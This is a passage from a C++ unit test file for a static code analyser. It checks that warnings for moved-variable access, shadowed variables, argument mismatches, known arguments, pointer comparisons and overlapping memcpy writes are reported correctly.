ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n 